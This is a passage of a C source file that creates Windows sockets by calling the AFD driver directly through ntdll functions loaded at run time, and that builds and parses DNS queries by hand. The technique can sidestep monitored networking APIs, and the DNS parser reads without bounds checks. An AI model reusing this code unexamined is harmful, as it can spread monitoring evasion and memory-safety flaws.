Structure representing AFD bind data. 328 | */ 329 | typedef struct _AFD_BIND_DATA 330 | { 331 | ULONG ShareType; 332 | SOCKADDR_IN addr; 333 | } AFD_BIND_DATA, * PAFD_BIND_DATA; 334 | 335 | /** 336 | * Structure representing AFD listen data. 337 | */ 338 | typedef struct _AFD_LISTEN_DATA { 339 | BOOLEAN UseSAN; 340 | ULONG Backlog; 341 | BOOLEAN UseDelayedAcceptance; 342 | } AFD_LISTEN_DATA, * PAFD_LISTEN_DATA; 343 | 344 | /** 345 | * Structure representing data for accepting connections in the AFD (Ancillary Function Driver). 346 | */ 347 | typedef struct _AFD_ACCEPT_DATA { 348 | BOOLEAN UseSAN; 349 | ULONG SequenceNumber; 350 | HANDLE ListenHandle; 351 | } AFD_ACCEPT_DATA, * PAFD_ACCEPT_DATA; 352 | 353 | // SOCKADDR_STORAGE structure definition 354 | typedef struct _SOCKADDR_STORAGE { 355 | short ss_family; // Address family 356 | char __ss_pad1[6]; // Padding to ensure alignment 357 | __int64 __ss_align; // Force alignment to 64-bit boundary 358 | char __ss_pad2[112]; // Additional padding to bring the size to 128 bytes 359 | } SOCKADDR_STORAGE; 360 | 361 | /** 362 | * Structure representing AFD (Ancillary Function Driver) actual socket state. 363 | */ 364 | typedef enum _SOCKET_STATE 365 | { 366 | SocketUndefined = -1, 367 | SocketOpen, 368 | SocketBound, 369 | SocketBoundUdp, 370 | SocketConnected, 371 | SocketClosed 372 | } SOCKET_STATE, * PSOCKET_STATE; 373 | 374 | /** 375 | * Structure representing AFD (Ancillary Function Driver) shared informations. 376 | */ 377 | typedef struct _SOCK_SHARED_INFO { 378 | SOCKET_STATE State; 379 | INT AddressFamily; 380 | INT SocketType; 381 | INT Protocol; 382 | INT SizeOfLocalAddress; 383 | INT SizeOfRemoteAddress; 384 | struct linger LingerData; 385 | ULONG SendTimeout; 386 | ULONG RecvTimeout; 387 | ULONG SizeOfRecvBuffer; 388 | ULONG SizeOfSendBuffer; 389 | struct { 390 | BOOLEAN Listening : 1; 391 | BOOLEAN Broadcast : 1; 392 | BOOLEAN Debug : 1; 393 | BOOLEAN OobInline : 1; 394 | BOOLEAN ReuseAddresses : 1; 395 | BOOLEAN ExclusiveAddressUse : 1; 396 | BOOLEAN NonBlocking : 1; 397 | BOOLEAN DontUseWildcard : 1; 398 | BOOLEAN ReceiveShutdown : 1; 399 | BOOLEAN SendShutdown : 1; 400 | BOOLEAN UseDelayedAcceptance : 1; 401 | BOOLEAN UseSAN : 1; 402 | BOOLEAN HasGUID : 1; 403 | } Flags; 404 | DWORD CreateFlags; 405 | DWORD CatalogEntryId; 406 | DWORD ServiceFlags1; 407 | DWORD ProviderFlags; 408 | DWORD GroupID; 409 | DWORD GroupType; 410 | INT GroupPriority; 411 | INT SocketLastError; 412 | HWND hWnd; 413 | #ifndef _WIN64 414 | LONG Padding; 415 | #endif 416 | DWORD SequenceNumber; 417 | UINT wMsg; 418 | LONG AsyncEvents; 419 | LONG AsyncDisabledEvents; 420 | } SOCK_SHARED_INFO, * PSOCK_SHARED_INFO; 421 | 422 | /** 423 | * Structure representing AFD (Ancillary Function Driver) current socket-context informations. 424 | */ 425 | typedef struct _SOCKET_CONTEXT { 426 | SOCK_SHARED_INFO SharedData; 427 | GUID Guid; 428 | ULONG SizeOfHelperData; 429 | ULONG Padding; 430 | SOCKADDR LocalAddress; 431 | SOCKADDR RemoteAddress; 432 | PVOID Helper; 433 | } SOCKET_CONTEXT, * PSOCKET_CONTEXT; 434 | 435 | /** 436 | * Structure representing AFD (Ancillary Function Driver) connection information. 437 | */ 438 | typedef struct _AFD_CONNECT_INFO 439 | { 440 | uint64_t UseSAN; 441 | uint64_t Root; 442 | uint64_t Unknown; 443 | SOCKADDR_IN Bind; 444 | } AFD_CONNECT_INFO, * PAFD_CONNECT_INFO; 445 | 446 | /** 447 | * Structure representing a buffer and its length for Winsock operations. 448 | */ 449 | typedef struct _AFD_WSABUF 450 | { 451 | ULONG_PTR len; 452 | PVOID buf; 453 | } AFD_WSABUF, * PAFD_WSABUF; 454 | 455 | /** 456 | * Structure representing information for AFD receive operation. 457 | */ 458 | typedef struct _AFD_RECV_INFO 459 | { 460 | PAFD_WSABUF BufferArray; 461 | DWORD BufferCount; 462 | DWORD AfdFlags; 463 | DWORD TdiFlags; 464 | } AFD_RECV_INFO, * PAFD_RECV_INFO; 465 | 466 | /** 467 | * Structure representing information for UDP receive operation in AFD. 468 | */ 469 | typedef struct _AFD_RECV_INFO_UDP { 470 | PAFD_WSABUF BufferArray; 471 | ULONG BufferCount; 472 | ULONG AfdFlags; 473 | ULONG TdiFlags; 474 | PVOID Address; 475 | PINT AddressLength; 476 | } AFD_RECV_INFO_UDP, * PAFD_RECV_INFO_UDP; 477 | 478 | /** 479 | * Structure representing information for sending data using AFD. 480 | */ 481 | typedef struct _AFD_SEND_INFO { 482 | PAFD_WSABUF BufferArray; 483 | ULONG BufferCount; 484 | ULONG AfdFlags; 485 | ULONG TdiFlags; 486 | } AFD_SEND_INFO, * PAFD_SEND_INFO; 487 | 488 | /** 489 | * Structure representing TDI Connection Interface. 490 | */ 491 | typedef struct _TDI_CONNECTION_INFORMATION { 492 | LONG UserDataLength; // length of user data buffer 493 | PVOID UserData; // pointer to user data buffer 494 | LONG OptionsLength; // length of follwoing buffer 495 | PVOID Options; // pointer to buffer containing options 496 | LONG RemoteAddressLength; // length of following buffer 497 | PVOID RemoteAddress; // buffer containing the remote address 498 | } TDI_CONNECTION_INFORMATION, * PTDI_CONNECTION_INFORMATION; 499 | 500 | // 501 | // Include Transport driver interface definitions 502 | // All of the following have two definitions; ones that correspond exactly to 503 | // the TDI spec, and those that correspond to the NT coding standards. They 504 | // should be equivalent. 505 | // 506 | 507 | typedef LONG TDI_STATUS; 508 | typedef PVOID CONNECTION_CONTEXT; // connection context 509 | 510 | // 511 | // This structure is passed with every request to TDI. It describes that 512 | // request and the parameters to it. 513 | // 514 | typedef struct _TDI_REQUEST { 515 | union { 516 | HANDLE AddressHandle; 517 | CONNECTION_CONTEXT ConnectionContext; 518 | HANDLE ControlChannel; 519 | } Handle; 520 | 521 | PVOID RequestNotifyObject; 522 | PVOID RequestContext; 523 | TDI_STATUS TdiStatus; 524 | } TDI_REQUEST, * PTDI_REQUEST; 525 | 526 | typedef struct _TDI_REQUEST_SEND_DATAGRAM { 527 | TDI_REQUEST Request; 528 | PTDI_CONNECTION_INFORMATION SendDatagramInformation; 529 | } TDI_REQUEST_SEND_DATAGRAM, * PTDI_REQUEST_SEND_DATAGRAM; 530 | 531 | /** 532 | * Structure representing information for sending data over UDP using AFD. 533 | */ 534 | typedef struct _AFD_SEND_INFO_UDP { 535 | PAFD_WSABUF BufferArray; 536 | ULONG BufferCount; 537 | ULONG AfdFlags; 538 | TDI_REQUEST_SEND_DATAGRAM TdiRequest; 539 | TDI_CONNECTION_INFORMATION TdiConnInfo; 540 | } AFD_SEND_DATAGRAM_INFO, * PAFD_SEND_DATAGRAM_INFO; 541 | 542 | /** 543 | * Structure representing information for further DNS query lookup. 544 | */ 545 | typedef struct _DOMAIN_INFO 546 | { 547 | uint32_t hex_ip_address; 548 | unsigned char ip_address_str[16]; 549 | }DOMAIN_INFO; 550 | 551 | // Import our function pointers from NTAPI* 552 | typedef NTSTATUS(NTAPI* NtClose_t)(HANDLE Handle); 553 | typedef NTSTATUS(NTAPI* NtCreateEvent_t)(PHANDLE EventHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES object_attributes, EVENT_TYPE EventType, 554 | BOOLEAN InitialState); 555 | typedef NTSTATUS(NTAPI* NtDeviceIoControlFile_t)(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, 556 | PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, 557 | PVOID OutputBuffer, ULONG OutputBufferLength); 558 | typedef NTSTATUS(NTAPI* NtWaitForSingleObject_t)(HANDLE Handle, BOOLEAN Alertable, PLARGE_INTEGER Timeout); 559 | typedef NTSTATUS(NTAPI* NtCreateFile_t)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); 560 | 561 | // Function pointers 562 | NtClose_t NtClose; 563 | NtCreateEvent_t NtCreateEvent; 564 | NtCreateFile_t NtCreateFile; 565 | NtDeviceIoControlFile_t NtDeviceIoControlFile; 566 | NtWaitForSingleObject_t NtWaitForSingleObject; 567 | 568 | NTSTATUS nosa_dns_lookup(PHANDLE hSocket, char* domain_name, DOMAIN_INFO* outBuffer); 569 | NTSTATUS afd_close(HANDLE hHandle); 570 | 571 | /** 572 | * Check if a character is a digit. 573 | * 574 | * @param ch The character to be checked. 575 | * 576 | * @returns 1 if the character is a digit, 0 otherwise. 577 | */ 578 | int is_digit(char ch) 579 | { 580 | return ch >= '0' && ch <= '9'; 581 | } 582 | 583 | /** 584 | * Checks if a character is a hexadecimal digit. 585 | * 586 | * @param ch The character to be checked. 587 | * 588 | * @returns 1 if the character is a hexadecimal digit, 0 otherwise. 589 | */ 590 | int is_hex_digit(char ch) 591 | { 592 | return (ch >= '0' && ch <= '9') || (ch >= 'a' && ch <= 'f') || (ch >= 'A' && ch <= 'F'); 593 | } 594 | 595 | // Function to check if a string is an IPv4 address 596 | int is_ipv4_address(const char* host) 597 | { 598 | int dots = 0; 599 | int digits = 0; 600 | const char* ptr = host; 601 | 602 | while (*ptr) { 603 | if (*ptr == '.') { 604 | if (digits == 0) return 0; // No digits before the dot 605 | dots++; 606 | digits = 0; // Reset digit count for the next block 607 | } 608 | else if (is_digit(*ptr)) { 609 | digits++; 610 | if (digits > 3) return 0; // Too many digits in one block 611 | } 612 | else { 613 | return 0; // Invalid character for an IPv4 address 614 | } 615 | ptr++; 616 | } 617 | 618 | // There should be exactly 3 dots and at least one digit after the last dot 619 | return (dots == 3 && digits > 0) ? 1 : 0; 620 | } 621 | 622 | /** 623 | * Checks if the given string is a valid IPv6 address. 624 | * 625 | * @param host The string representing the IPv6 address. 626 | * 627 | * @returns 1 if the string is a valid IPv6 address, 0 otherwise. 628 | */ 629 | int is_ipv6_address(const char* host) 630 | { 631 | int colons = 0; 632 | int double_colon = 0; 633 | int hex_digits = 0; 634 | const char* ptr = host; 635 | 636 | while (*ptr) { 637 | if (*ptr == ':') { 638 | if (hex_digits == 0 && colons > 0 && *(ptr - 1) != ':') return 0; // No hex digits between colons 639 | if (*(ptr + 1) == ':') { 640 | if (double_colon) return 0; // Only one double colon allowed 641 | double_colon = 1; 642 | ptr++; // Skip the second colon of the double colon 643 | } 644 | colons++; 645 | hex_digits = 0; // Reset hex digit count for the next block 646 | } 647 | else if (is_hex_digit(*ptr)) { 648 | hex_digits++; 649 | if (hex_digits > 4) return 0; // Each block in IPv6 should not exceed 4 hex digits 650 | } 651 | else { 652 | return 0; // Invalid character for an IPv6 address 653 | } 654 | ptr++; 655 | } 656 | 657 | // Valid IPv6 addresses have between 2 and 7 colons, or a single double colon 658 | return (colons >= 2 && colons <= 7) || (double_colon && colons < 7); 659 | } 660 | 661 | /** 662 | * Checks if the given input is a valid domain name. 663 | * 664 | * @param host The input string to be checked. 665 | * 666 | * @returns 1 if the input is a valid domain name, 0 otherwise. 667 | */ 668 | int is_domain_name(const char* host) 669 | { 670 | const char* ptr = host; 671 | int has_dot = 0; 672 | 673 | // First, check if the string is an IP address 674 | if (is_ipv4_address(host)) { 675 | return 0; // It's an IP address, not a domain name 676 | } 677 | 678 | // Check if the string contains valid domain name characters 679 | while (*ptr) { 680 | if (*ptr == '.') { 681 | has_dot = 1; 682 | } 683 | else if (!((*ptr >= 'a' && *ptr <= 'z') || (*ptr >= 'A' && *ptr <= 'Z') || is_digit(*ptr) || *ptr == '-')) { 684 | return 0; // Invalid character for a domain name 685 | } 686 | ptr++; 687 | } 688 | 689 | // A valid domain name should have at least one dot and should not start or end with a dot 690 | return has_dot && host[0] != '.' && host[ptr - host - 1] != '.' ? 1 : 0; 691 | } 692 | 693 | /** 694 | * Converts a 32-bit unsigned long integer from host byte order to network byte order. 695 | * 696 | * @param hostlong The value to be converted from host byte order to network byte order. 697 | * 698 | * @returns The converted value in network byte order. 699 | */ 700 | ULONG htonl(ULONG hostlong) 701 | { 702 | return ((hostlong & 0xFF000000L) >> 24) | 703 | ((hostlong & 0x00FF0000L) >> 8) | 704 | ((hostlong & 0x0000FF00L) << 8) | 705 | ((hostlong & 0x000000FFL) << 24); 706 | } 707 | 708 | /** 709 | * Converts a 16-bit number from host to network byte order. 710 | * 711 | * @param netshort The 16-bit number in host byte order. 712 | * 713 | * @returns The 16-bit number in network byte order. 714 | */ 715 | USHORT htons(USHORT netshort) 716 | { 717 | return (netshort << 8) | (UCHAR)((((ULONG_PTR)netshort) >> 8) & 0xff); 718 | //or 719 | //return _byteswap_ushort(netshort); 720 | } 721 | 722 | /** 723 | * Converts a 16-bit number from network byte order to host byte order. 724 | * 725 | * @param netshort The 16-bit number in network byte order. 726 | * 727 | * @returns The 16-bit number in host byte order. 728 | */ 729 | USHORT ntohs(USHORT netshort) 730 | { 731 | return (netshort >> 8) | ((netshort & 0x00FF) << 8); 732 | } 733 | 734 | /** 735 | * Converts a string containing an IPv4 address in dotted-decimal notation 736 | * to a ULONG value in network byte order. 737 | * 738 | * @param cp A pointer to a null-terminated string representing the IPv4 address. 739 | * 740 | * @returns The ULONG value representing the IPv4 address in network byte order. 741 | */ 742 | ULONG inet_addr(PCSTR cp) 743 | { 744 | ULONG val, base, n; 745 | UCHAR c; 746 | ULONG parts[4], * pp = parts; 747 | if (!cp) return INADDR_ANY; 748 | if (!isdigit(*cp)) return INADDR_NONE; 749 | 750 | again: 751 | /* 752 | * Collect number up to ``.''. 753 | * Values are specified as for C: 754 | * 0x=hex, 0=octal, other=decimal. 755 | */ 756 | val = 0; 757 | base = 10; 758 | if (*cp == '0') 759 | { 760 | if (*++cp == 'x' || *cp == 'X') 761 | base = 16, cp++; 762 | else 763 | base = 8; 764 | } 765 | while ((c = *cp)) 766 | { 767 | if (isdigit(c)) 768 | { 769 | val = (val * base) + (c - '0'); 770 | cp++; 771 | continue; 772 | } 773 | if (base == 16 && isxdigit(c)) 774 | { 775 | val = (val << 4) + (c + 10 - (islower(c) ? 'a' : 'A')); 776 | cp++; 777 | continue; 778 | } 779 | break; 780 | } 781 | if (*cp == '.') 782 | { 783 | /* 784 | * Internet format: 785 | * a.b.c.d 786 | * a.b.c (with c treated as 16-bits) 787 | * a.b (with b treated as 24 bits) 788 | */ 789 | if (pp >= parts + 4) return (INADDR_NONE); 790 | *pp++ = val; 791 | cp++; 792 | goto again; 793 | } 794 | //Check for trailing characters. 795 | if (*cp && !isspace((UCHAR)*cp)) return (INADDR_NONE); 796 | 797 | *pp++ = val; 798 | /* 799 | * Concoct the address according to 800 | * the number of parts specified. 801 | */ 802 | n = (ULONG)(pp - parts); 803 | switch (n) 804 | { 805 | case 1: /* a -- 32 bits */ 806 | val = parts[0]; 807 | break; 808 | 809 | case 2: /* a.b -- 8.24 bits */ 810 | val = (parts[0] << 24) | (parts[1] & 0xffffff); 811 | break; 812 | 813 | case 3: /* a.b.c -- 8.8.16 bits */ 814 | val = (parts[0] << 24) | ((parts[1] & 0xff) << 16) | (parts[2] & 0xffff); 815 | break; 816 | 817 | case 4: /* a.b.c.d -- 8.8.8.8 bits */ 818 | val = (parts[0] << 24) | ((parts[1] & 0xff) << 16) | ((parts[2] & 0xff) << 8) | (parts[3] & 0xff); 819 | break; 820 | 821 | default: 822 | return (INADDR_NONE); 823 | } 824 | val = htonl(val); 825 | return (val); 826 | } 827 | 828 | /** 829 | * Converts an IP address from string format to network byte order (big-endian). 830 | * 831 | * @param ip_address The IP address in string format. 832 | * 833 | * @returns The IP address in network byte order. 834 | */ 835 | ULONG convert_ip_to_htonl(PCSTR ip_address) 836 | { 837 | ULONG parts[4] = { 0 }; // Array to store the four parts of the IP address 838 | ULONG result = 0; 839 | int part_index = 0; 840 | int part_value = 0; 841 | 842 | // Loop through each character in the string 843 | while (*ip_address) { 844 | if (isdigit(*ip_address)) { 845 | // Build the current part by shifting the previous value by 10 and adding the new digit 846 | part_value = part_value * 10 + (*ip_address - '0'); 847 | } 848 | else if (*ip_address == '.') { 849 | // Store the current part in the parts array 850 | parts[part_index++] = part_value; 851 | part_value = 0; 852 | } 853 | ip_address++; 854 | } 855 | // Store the last part 856 | parts[part_index] = part_value; 857 | 858 | // Combine the four parts into a single 32-bit integer 859 | result = (parts[0] << 24) | (parts[1] << 16) | (parts[2] << 8) | parts[3]; 860 | 861 | // Convert to network byte order 862 | return result; 863 | } 864 | 865 | /** 866 | * Converts a 32-bit network-order IP address to a human-readable IP address format. 867 | * 868 | * @param network_order_ip The 32-bit network-order IP address to convert. 869 | * 870 | * @returns A pointer to a static character array containing the human-readable IP address. 871 | */ 872 | char* convert_htonl_to_ip_address(unsigned long network_order_ip) { 873 | static char ip_address[16]; // Buffer to hold the printable IP address 874 | 875 | unsigned char bytes[4]; 876 | bytes[0] = (network_order_ip >> 24) & 0xFF; 877 | bytes[1] = (network_order_ip >> 16) & 0xFF; 878 | bytes[2] = (network_order_ip >> 8) & 0xFF; 879 | bytes[3] = network_order_ip & 0xFF; 880 | 881 | // Format the bytes into a string 882 | snprintf(ip_address, sizeof(ip_address), 883 | "%u.%u.%u.%u", bytes[0], bytes[1], bytes[2], bytes[3]); 884 | 885 | return ip_address; 886 | } 887 | 888 | /** 889 | * Builds a DNS query for the given domain. 890 | * 891 | * @param domain The domain name to query. 892 | * @param query_len Pointer to store the length of the query. 893 | * 894 | * @returns A pointer to the constructed DNS query. 895 | */ 896 | unsigned char* build_dns_query(const char* domain, int* query_len) { 897 | static unsigned char query[512]; // DNS query buffer 898 | unsigned char* qname; 899 | int len; 900 | 901 | // DNS Header 902 | unsigned short transaction_id = htons(0x1234); // Transaction ID 903 | unsigned short flags = htons(0x0100); // Standard query with recursion desired 904 | unsigned short questions = htons(1); // Number of questions 905 | unsigned short answer_rrs = htons(0); // Number of answer resource records 906 | unsigned short authority_rrs = htons(0); // Number of authority resource records 907 | unsigned short additional_rrs = htons(0); // Number of additional resource records 908 | 909 | // Build header 910 | memcpy(query, &transaction_id, 2); 911 | memcpy(query + 2, &flags, 2); 912 | memcpy(query + 4, &questions, 2); 913 | memcpy(query + 6, &answer_rrs, 2); 914 | memcpy(query + 8, &authority_rrs, 2); 915 | memcpy(query + 10, &additional_rrs, 2); 916 | 917 | // Build question section 918 | qname = query + 12; 919 | const char* label_start = domain; 920 | const char* dot_pos = strchr(domain, '.'); 921 | 922 | while (dot_pos) { 923 | len = dot_pos - label_start; 924 | *qname++ = len; // Length of the label 925 | memcpy(qname, label_start, len); // Copy the label 926 | qname += len; 927 | label_start = dot_pos + 1; // Move to the next label 928 | dot_pos = strchr(label_start, '.'); 929 | } 930 | 931 | // Handle the last label (the part after the last dot or the whole domain if no dot) 932 | len = strlen(label_start); 933 | *qname++ = len; 934 | memcpy(qname, label_start, len); 935 | qname += len; 936 | *qname++ = 0x00; // End of the QNAME 937 | 938 | // Type and Class 939 | unsigned short qtype = htons(1); // Type A for IPv4 addresses 940 | unsigned short qclass = htons(1); // Class IN 941 | memcpy(qname, &qtype, 2); 942 | memcpy(qname + 2, &qclass, 2); 943 | 944 | *query_len = qname + 4 - query; 945 | 946 | return query; 947 | } 948 | 949 | /** 950 | * Parses a DNS response to extract the IP address. 951 | * 952 | * @param response The DNS response buffer. 953 | * @param response_len The length of the DNS response buffer. 954 | * 955 | * @returns The extracted IP address as an unsigned integer (in network byte order). 956 | */ 957 | unsigned int parse_dns_response(unsigned char* response, int response_len) 958 | { 959 | // Skip the DNS header and question section 960 | unsigned char* answer_section = response + 12; 961 | while (*answer_section != 0) answer_section++; // Skip QNAME 962 | answer_section += 5; // Skip the null byte at the end of QNAME and QTYPE, QCLASS 963 | 964 | // Parse the answer section 965 | unsigned short answer_type; 966 | unsigned short answer_data_len; 967 | 968 | while (answer_section - response < response_len) 969 | { 970 | // Skip the NAME field (2 bytes if it's a pointer, otherwise variable length) 971 | if ((*answer_section & 0xC0) == 0xC0) 972 | { 973 | answer_section += 2; // Compressed name pointer (2 bytes) 974 | } 975 | else 976 | { 977 | while (*answer_section != 0) answer_section++; // Skip full name 978 | answer_section++; // Skip the null terminator 979 | } 980 | 981 | answer_type = ntohs(*(unsigned short*)(answer_section)); // TYPE 982 | answer_section += 2; 983 | answer_section += 2; // Skip CLASS 984 | answer_section += 4; // Skip TTL 985 | answer_data_len = ntohs(*(unsigned short*)(answer_section)); // RDLENGTH 986 | answer_section += 2; 987 | 988 | if (answer_type == 1 && answer_data_len == 4) // A record with 4 bytes for IPv4 989 | { 990 | unsigned int ip_address; 991 | memcpy(&ip_address, answer_section, 4); // Copy the 4-byte IP address 992 | return ip_address; // Return IP address in network byte order 993 | } 994 | 995 | answer_section += answer_data_len; // Move to the next record 996 | } 997 | 998 | return 0; // No IP address found 999 | } 1000 | 1001 | /** 1002 | * Displays a hex dump of the given buffer. 1003 | * 1004 | * @param buffer Pointer to the buffer to be dumped. 1005 | * @param size Size of the buffer in bytes. 1006 | * 1007 | * @returns None 1008 | */ 1009 | void hexdump(const void* buffer, size_t size) { 1010 | const unsigned char* data = (const unsigned char*)buffer; 1011 | size_t i, j; 1012 | 1013 | for (i = 0; i < size; i += 16) { 1014 | // Print the offset 1015 | printf("%08zx ", i); 1016 | 1017 | // Print the hex bytes 1018 | for (j = 0; j < 16; j++) { 1019 | if (i + j < size) { 1020 | printf("%02x ", data[i + j]); 1021 | } 1022 | else { 1023 | printf(" "); // Fill in the blank for alignment 1024 | } 1025 | } 1026 | 1027 | // Print the ASCII representation 1028 | printf(" |"); 1029 | for (j = 0; j < 16; j++) { 1030 | if (i + j < size) { 1031 | unsigned char c = data[i + j]; 1032 | printf("%c", isprint(c) ? c : '.'); 1033 | } 1034 | else { 1035 | printf(" "); 1036 | } 1037 | } 1038 | printf("|\n"); 1039 | } 1040 | 1041 | printf("\n"); 1042 | } 1043 | 1044 | /** 1045 | * Retrieves the number of functions from ntdll.dll that are required for the application. 1046 | * 1047 | * @return The number of functions retrieved from ntdll.dll. \ 1048 | * Returns -1 if loading ntdll.dll fails or if any of the required functions are not found. 1049 | */ 1050 | int get_nt_functions(void) 1051 | { 1052 | HMODULE hNtdll = LoadLibraryA("ntdll.dll"); 1053 | 1054 | if (!hNtdll) 1055 | { 1056 | LOG_ERROR("Failed to load ntdll.dll"); 1057 | return -1; 1058 | } 1059 | 1060 | // Load function addresses 1061 | NtClose = (NtClose_t)GetProcAddress(hNtdll, "NtClose"); 1062 | NtCreateFile = (NtCreateFile_t)GetProcAddress(hNtdll, "NtCreateFile"); 1063 | NtCreateEvent = (NtCreateEvent_t)GetProcAddress(hNtdll, "NtCreateEvent"); 1064 | NtDeviceIoControlFile = (NtDeviceIoControlFile_t)GetProcAddress(hNtdll, "NtDeviceIoControlFile"); 1065 | NtWaitForSingleObject = (NtWaitForSingleObject_t)GetProcAddress(hNtdll, "NtWaitForSingleObject"); 1066 | 1067 | // Check if any function failed to load 1068 | if (!NtClose || !NtCreateEvent || !NtDeviceIoControlFile || !NtWaitForSingleObject || !NtCreateFile) 1069 | { 1070 | LOG_ERROR("Failed to get one or more functions from ntdll.dll"); 1071 | FreeLibrary(hNtdll); 1072 | return -1; 1073 | } 1074 | 1075 | return 1; 1076 | } 1077 | 1078 | /** 1079 | * Retrieves the IP address corresponding to a given domain name. 1080 | * 1081 | * This function lookups the domain name to an IP address using DNS resolution. 1082 | * 1083 | * @param host The domain name to lookup. 1084 | * @param ip_string The buffer to store the resulting IP address string. 1085 | * 1086 | * @return The status of the IP address retrieval operation. 1087 | */ 1088 | NTSTATUS get_ip_from_domain( 1089 | const char* host, 1090 | char* ip_string 1091 | ) { 1092 | NTSTATUS Status = NULL; 1093 | DOMAIN_INFO outBuffer = { 0 }; 1094 | HANDLE hSocket_dns_lookup = NULL; 1095 | 1096 | Status = nosa_dns_lookup(&hSocket_dns_lookup, host, &outBuffer); 1097 | 1098 | if (!NT_SUCCESS(Status)) 1099 | { 1100 | LOG_ERROR("nosa_dns_lookup() failed!: [ 0x%x ]", Status); 1101 | return Status; 1102 | } 1103 | 1104 | LOG_INFO("Host -> [ %s -> 0x%08x -> %s ]", 1105 | host, outBuffer.hex_ip_address, outBuffer.ip_address_str); 1106 | 1107 | // Copy the lookupd IP address into the provided buffer 1108 | strncpy_s(ip_string, 16, outBuffer.ip_address_str, _TRUNCATE); 1109 | 1110 | afd_close(hSocket_dns_lookup); 1111 | 1112 | Sleep(10); // Wait a little to prevent bugs 1113 | 1114 | return Status; 1115 | } 1116 | 1117 | /** 1118 | * Initializes a socket context structure with the specified address family and stores it in the provided output buffer. 1119 | * 1120 | * @param addr_family - The address family (e.g., AF_INET for IPv4) to be used for the socket context. 1121 | * @param socket_type The type of the socket to be created. 1122 | * @param socket_protocol The protocol of the socket to be created. 1123 | * @param out_buf - A pointer to the buffer where the socket context will be stored. 1124 | * @returns NTSTATUS - The status code of the operation. Currently, it always returns STATUS_SUCCESS. 1125 | */ 1126 | NTSTATUS create_context( 1127 | DWORD addr_family, 1128 | DWORD socket_type, 1129 | DWORD socket_protocol, 1130 | LPVOID out_buf 1131 | ) { 1132 | NTSTATUS status = NULL; 1133 | ULONG len; 1134 | BYTE buffer[SOCK_CONTEXT_BUF_SIZE]; 1135 | PSOCKET_CONTEXT sockctx; 1136 | SOCKET sock = INVALID_SOCKET; 1137 | 1138 | sockctx = (PSOCKET_CONTEXT)&buffer[0]; 1139 | WSAPROTOCOL_INFOW wsapi; 1140 | ULONG sockaddr_paddsize, sockaddr_2paddsize; 1141 | ULONG ctxsize; 1142 | 1143 | // Initialize wsapi structure with relevant data 1144 | memset(&wsapi, 0, sizeof(wsapi)); 1145 | wsapi.iAddressFamily = addr_family; // Example initialization, actual values may differ 1146 | wsapi.iSocketType = socket_type; // Example socket type 1147 | wsapi.iProtocol = socket_protocol; // Example protocol 1148 | wsapi.iMaxSockAddr = sizeof(SOCKADDR_IN); // Example address size 1149 | wsapi.dwCatalogEntryId = 1; // Example catalog entry ID 1150 | wsapi.dwServiceFlags1 = 0; // Example service flags 1151 | wsapi.dwProviderFlags = 0; // Example provider flags 1152 | wsapi.ProviderId = GUID_NULL; // Example GUID, use actual GUID if needed 1153 | 1154 | memset(&sockctx->SharedData, 0, sizeof(SOCK_SHARED_INFO)); 1155 | sockctx->SharedData.AddressFamily = wsapi.iAddressFamily; 1156 | sockctx->SharedData.SocketType = wsapi.iSocketType; 1157 | sockctx->SharedData.Protocol = wsapi.iProtocol; 1158 | sockctx->SharedData.SizeOfLocalAddress = wsapi.iMaxSockAddr; 1159 | sockctx->SharedData.SizeOfRemoteAddress = wsapi.iMaxSockAddr; 1160 | sockctx->SharedData.SizeOfRecvBuffer = (1 << 16); 1161 | sockctx->SharedData.SizeOfSendBuffer = (1 << 16); 1162 | sockctx->SharedData.CreateFlags = 1; 1163 | sockctx->SharedData.CatalogEntryId = wsapi.dwCatalogEntryId; 1164 | sockctx->SharedData.ServiceFlags1 = wsapi.dwServiceFlags1; 1165 | sockctx->SharedData.ProviderFlags = wsapi.dwProviderFlags; 1166 | sockctx->Guid = wsapi.ProviderId; 1167 | sockctx->SizeOfHelperData = sizeof(PVOID); 1168 | 1169 | sockaddr_paddsize = (wsapi.iMaxSockAddr & 0xF0) + (((wsapi.iMaxSockAddr & 0xF) > 0) << 4); 1170 | if (sockaddr_paddsize < sizeof(SOCKADDR)) { 1171 | sockaddr_paddsize = sizeof(SOCKADDR); 1172 | } 1173 | 1174 | sockaddr_2paddsize = sockaddr_paddsize * 2; 1175 | ctxsize = sizeof(SOCK_SHARED_INFO) + 8 + sizeof(PVOID) + sockaddr_2paddsize; 1176 | 1177 | sockctx->SharedData.Flags.HasGUID = 1; 1178 | memset(&sockctx->LocalAddress, 0, sockaddr_2paddsize); 1179 | *(int*)(((char*)&sockctx->LocalAddress) + sockaddr_2paddsize) = addr_family; 1180 | ctxsize += sizeof(GUID); 1181 | 1182 | // Copy the contents of the sockctx buffer to out_buf 1183 | memcpy(out_buf, sockctx, ctxsize); 1184 | 1185 | return status; 1186 | } 1187 | 1188 | /** 1189 | * Creates an AFD socket with the specified socket type. 1190 | * 1191 | * @param socket_handle Pointer to a handle that will receive the socket handle. 1192 | * @param SocketType The type of the socket to be created. 1193 | * @param socketProtocol The protocol of the socket to be created. 1194 | * @returns The status of the AFD socket creation operation. 1195 | * 1196 | */ 1197 | NTSTATUS afd_create( 1198 | PHANDLE socket_handle, 1199 | int SocketType, 1200 | int socketProtocol 1201 | ) { 1202 | HANDLE hEvent = NULL; 1203 | HANDLE hSocket = socket_handle; 1204 | DWORD dwStatus = 0; 1205 | 1206 | IO_STATUS_BLOCK IoStatusBlock = { 0 }; 1207 | OBJECT_ATTRIBUTES object_attributes = { 0 }; 1208 | UNICODE_STRING object_file_path = { 0 }; 1209 | 1210 | // Initialize the AFD_CREATE_PACKET structure 1211 | AFD_CREATE_PACKET packet = 1212 | { 1213 | .NextEntryOffset = 0x00000000, 1214 | .Flags = 0x00, 1215 | .EaNameLength = sizeof("AfdOpenPacketXX") - 1, 1216 | .EaValueLength = 0x001E, 1217 | .EaName = "AfdOpenPacketXX", 1218 | .EndpointFlags = 0x00000000, 1219 | .GroupID = 0x00000000, 1220 | .AddressFamily = AF_INET, 1221 | .SocketType = 